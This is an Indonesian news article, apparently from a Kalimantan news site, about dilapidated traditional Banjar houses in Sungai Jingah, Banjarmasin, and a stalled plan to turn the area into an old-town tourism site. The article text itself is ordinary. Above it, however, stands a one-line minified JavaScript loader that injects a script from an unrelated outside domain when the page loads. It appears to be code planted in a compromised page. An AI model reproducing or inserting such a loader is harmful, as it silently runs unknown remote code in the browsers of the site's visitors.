(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Keberadaan rumah-rumah tua khas Banjar di kawasan Kampung Sungai Jingah, Banjarmasin Utara, cukup menarik wisatan. Walaupun kondisi di lapangan cukup memprihatinkan. Sebagian masih layak huni, sementara lainnya dalam keadaan tak terurus. Beberapa warga yang tinggal di kawasan tersebut, berharap ada andil pemerintah setempat untuk membantu melestarikan keberadaan rumah-rumah itu.
Melihat kondisi tersebut, Pemerintah Kota Banjarmasin berinisiatif menjadikan Sungai Jingah sebagai tempat wisata yang akan dijuluki Sungai Jingah Kota Tua. Dewan  Perwakilan Rakyat Daerah (DPRD) Kota Banjarmasin menyetujui usulan Pemerintah Kota Banjarmasin tersebut, kini hanya tinggal eksekusi dari Satuan Kerja Perangkat Dinas (SKPD) yaitu Dinas Pariwisata Kota Banjarmasin.
Namun, instansi terkait tidak bisa memberikan anggaran dalam menjalankan ekowisata tersebut. Semua disampaikan langsung oleh Kepala Bidang Pengembangan dan Pengelolaan Wisata, M. Khuzaimi.
Ia menilai bahwa Rumah Khas Banjar yang kini menjadi buah bibir tersebut merupakan aset pribadi masyarakat,  bukan milik pemerintah. “Itu milik masyarakat,  jadi sulit untuk kami anggarkan, ” ujarnya.
Menurutnya, Rumah Khas Banjar tersebut bisa dianggarkan apabila diusulkan menjadi sebuah cagar alam. “Apakah masyarakat mau itu diambil oleh pemerintah,”  ungkapnya.
Khuzaimi mengakui bahwa telah melakukan tahap awal yaitu pendataan rumah tua di seluruh Banjarmasin. Hasilnya, ada sekitar  110 buah rumah khas Banjar yang terdapat di lima Kecamatan dengan berbagai macam tipe yaitu Tipe Balai Bini, Balai Laki, Bubungan Tinggi,  Gajah Menyusu,  Palimbangan,  Tadah Alas, dan Palamasan.
“Untuk Banjarmasin Utara terdapat sekitar 45 rumah khas Banjar dengan tipe berbeda ” ungkapnya.
Menurutnya konsep ke depan akan segera mungkin melihat potensi rumah serta  melakukan evaluasi. Yakni, dengan melihat tingkat kerusakannya,  apakah masih bisa untuk dikelola atau tidak.
Menurut lelaki yang sering dipanggil Jimmy ini,  saat ini langkah konkret yang bisa dilakukan oleh Dinas Pariwisata adalah melakukan pembinaan kepada masyarakat tentang kesadaran potensi wisata di Sungai Jingah tersebut serta  memberikan semacam regulasi yang melegalitimasi setiap wisatawan yang berkunjung agar tempat tersebut dianggap resmi. “Ini bertujuan untuk meningkatkan ekonomi rakyat setempat, ” pungkasnya. ***
KANALKALIMANTAN.COM, AMUNTAI - Dinas Kesehatan (Dinkes) Kabupaten Hulu Sungai Utara (HSU) meluncurkan layanan kesehatan berbasis… Read More
KANALKALIMANTAN. COM, JAKARTA - Indonesian Hypnosis Centre (IHC) menggelar acara pengukuhan 51 orang yang telah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pernak-pernik Natal jelang perayaan Natal tahun 2024 di Kota Banjarbaru mulai ramai… Read More
KANALKALIMANTAN.COM, AMUNTAI - Tim Taekwondo Indonesia (TI) Kabupaten Hulu Sungai Utara (HSU) sukses membawa pulang… Read More
KANALKALIMANTAN.COM, BANJARBARU - Upacara peringatan Hari Bela Negara ke-76 dengan tema “Gelorakan Bela Negara untuk… Read More
KANALKALIMANTAN.COM, PELAIHARI - Nasib tragis dialami rombongan santri yang sedang melakukan libur akhir tahun di… Read More
This website uses cookies.